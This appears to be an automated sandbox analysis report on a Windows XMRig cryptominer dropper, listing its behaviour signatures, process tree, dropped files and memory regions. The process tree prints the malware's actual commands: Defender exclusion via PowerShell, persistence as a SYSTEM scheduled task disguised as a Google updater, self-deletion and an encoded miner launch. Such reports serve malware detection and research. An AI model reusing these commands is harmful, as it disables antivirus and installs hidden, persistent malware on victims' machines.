Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    309s
  • max time network
    1787s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1256
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2916
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2928
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2204
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2016
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:108
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2840
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        2⤵
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:1648
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe qtdiqnkejoz
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1612
    • C:\Windows\System32\choice.exe
      choice /C Y /N /D Y /T 3
      1⤵
        PID:2472
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {87210586-8A34-4461-AB5D-6679A8609E8C} S-1-5-18:NT AUTHORITY\System:Service:
        1⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:664
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1204
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        1⤵
          PID:1988
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:1880
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          1⤵
          • Drops file in Program Files directory
          PID:1664

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 88KB
              • SHA256 fb664962a6581de621db8978a6d931aa3c2a77ae4edb63b96068748623e1321d
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 32KB
              • SHA256 a5b3a764d29210d6dbaf1c06b5d9edd0d3c04dfd736fbc5945614c328185cddd
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              FO21B7OD620R1VPQK0TT.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FO21B7OD620R1VPQK0TT.temp
              • Size 7KB
              • SHA256 992a22672ea29621133b9a8b099aeb89a25242dc66a68b0e4877f8ff2c75164e
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 67KB
              • SHA256 68dc34e266683ac9aea1f4e09cd10875b2ee1ffc20235f584404e7e95a2023e4
              • MD5 SHA1 SHA512 SSDEEP

              memory/1204-45-0x000000013FA00000-0x000000013FC11000-memory.dmp

              memory/1204-66-0x000000013FA00000-0x000000013FC11000-memory.dmp

              memory/1612-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1612-75-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1680-5-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

              memory/1680-9-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/1680-7-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/1680-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

              memory/1680-8-0x00000000025E0000-0x0000000002660000-memory.dmp

              memory/1680-13-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/1680-10-0x00000000025E0000-0x0000000002660000-memory.dmp

              memory/1680-12-0x00000000025E0000-0x0000000002660000-memory.dmp

              memory/1680-11-0x00000000025E0000-0x0000000002660000-memory.dmp

              memory/2016-57-0x00000000009D0000-0x0000000000A50000-memory.dmp

              memory/2016-59-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/2016-56-0x00000000009D0000-0x0000000000A50000-memory.dmp

              memory/2016-55-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/2016-54-0x00000000009D0000-0x0000000000A50000-memory.dmp

              memory/2016-53-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/2016-58-0x00000000009D0000-0x0000000000A50000-memory.dmp

              memory/2176-52-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

              memory/2176-48-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

              memory/2176-50-0x0000000001014000-0x0000000001017000-memory.dmp

              memory/2176-51-0x0000000001010000-0x0000000001090000-memory.dmp

              memory/2176-49-0x0000000001010000-0x0000000001090000-memory.dmp

              memory/2176-47-0x0000000001010000-0x0000000001090000-memory.dmp

              memory/2176-46-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

              memory/2568-37-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/2568-35-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/2568-38-0x0000000002620000-0x00000000026A0000-memory.dmp

              memory/2568-44-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

              memory/2568-40-0x0000000002620000-0x00000000026A0000-memory.dmp

              memory/2568-39-0x0000000002620000-0x00000000026A0000-memory.dmp

              memory/2568-36-0x0000000002620000-0x00000000026A0000-memory.dmp

              memory/2840-80-0x00000000007C0000-0x00000000007E0000-memory.dmp

              memory/2840-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-140-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-138-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-136-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-67-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-68-0x0000000000040000-0x0000000000060000-memory.dmp

              memory/2840-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-69-0x00000000007A0000-0x00000000007C0000-memory.dmp

              memory/2840-70-0x00000000007C0000-0x00000000007E0000-memory.dmp

              memory/2840-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-79-0x00000000007A0000-0x00000000007C0000-memory.dmp

              memory/2840-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-82-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-84-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-88-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-92-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-94-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-96-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-98-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2840-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2916-29-0x000000013FEE0000-0x00000001400F1000-memory.dmp

              memory/2916-0-0x000000013FEE0000-0x00000001400F1000-memory.dmp

              memory/2928-22-0x00000000023D0000-0x00000000023D8000-memory.dmp

              memory/2928-23-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

              memory/2928-25-0x0000000002610000-0x0000000002690000-memory.dmp

              memory/2928-24-0x0000000002610000-0x0000000002690000-memory.dmp

              memory/2928-26-0x0000000002610000-0x0000000002690000-memory.dmp

              memory/2928-21-0x0000000002610000-0x0000000002690000-memory.dmp

              memory/2928-20-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

              memory/2928-19-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

              memory/2928-27-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp